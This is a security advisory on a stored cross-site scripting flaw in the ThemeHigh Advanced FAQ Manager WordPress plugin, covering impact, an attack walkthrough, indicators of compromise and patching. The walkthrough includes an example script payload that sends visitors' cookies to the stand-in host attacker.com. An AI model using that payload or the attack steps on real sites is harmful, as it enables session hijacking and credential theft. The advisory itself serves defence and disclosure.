CVE-2025-67556: 
WordPress vulnerability analysis and mitigation

CVE-2025-67556 is a Stored Cross-Site Scripting (XSS) vulnerability in the ThemeHigh Advanced FAQ Manager WordPress plugin. It affects all versions up to and including 1.5.2, and was reported by security researcher Nabil Irawan on November 6, 2025, with public disclosure on December 6, 2025. The vulnerability carries a CVSS v3.1 base score of 5.9 (Medium), assigned by Patchstack (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a Stored XSS flaw where user-supplied input is not properly sanitized before being persisted and rendered in web pages. Exploitation requires an attacker to hold at least Author-level privileges on the WordPress site, and successful impact requires a privileged user (e.g., an administrator) to interact with the maliciously crafted content. The stored payload is then executed in the victim's browser when they visit the affected page, enabling script injection across site visitors (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within FAQ content managed by the plugin. These scripts execute in the browsers of site visitors and administrators, potentially enabling session hijacking, credential theft, malicious redirects, or defacement. The scope is marked as "Changed," meaning the impact can extend beyond the vulnerable component to affect other users' browser sessions (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-67556. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. Patchstack classifies this as low priority with no impactful threat currently observed. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Advanced FAQ Manager plugin at version 1.5.2 or earlier, using tools like WPScan or manual inspection of plugin metadata.
2. Obtain Author-level access: Acquire or compromise an account with at least Author privileges on the target WordPress site (e.g., via credential stuffing, phishing, or weak password exploitation).
3. Inject malicious payload: Navigate to the Advanced FAQ Manager plugin interface and create or edit an FAQ entry, inserting a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an unsanitized input field.
4. Persist the payload: Save the FAQ entry; the malicious script is stored in the WordPress database without proper sanitization.
5. Trigger execution: When a privileged user (e.g., administrator) or site visitor views the affected FAQ page, the stored script executes in their browser, enabling session token theft, credential harvesting, or further attacks (Patchstack).

• Logs: WordPress access logs showing POST requests to FAQ Manager admin endpoints from unexpected or low-privilege user accounts; unusual admin activity logs showing FAQ content creation or modification by Author-level users.
• File System: Unexpected changes to WordPress database content related to FAQ entries containing <script>, javascript:, or encoded variants of these strings.
• Network: Outbound requests from site visitors' browsers to unknown external domains following visits to FAQ pages; unusual traffic patterns to attacker-controlled infrastructure originating from the site's frontend.
• Application: FAQ entries in the WordPress admin panel containing obfuscated or unexpected HTML/JavaScript content not consistent with normal FAQ text (Patchstack).

The vulnerability is patched in Advanced FAQ Manager version 1.5.3. WordPress site administrators should update the plugin to version 1.5.3 or later immediately. If an immediate update is not possible, consider temporarily disabling the plugin or restricting Author-level user access until the patch can be applied. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).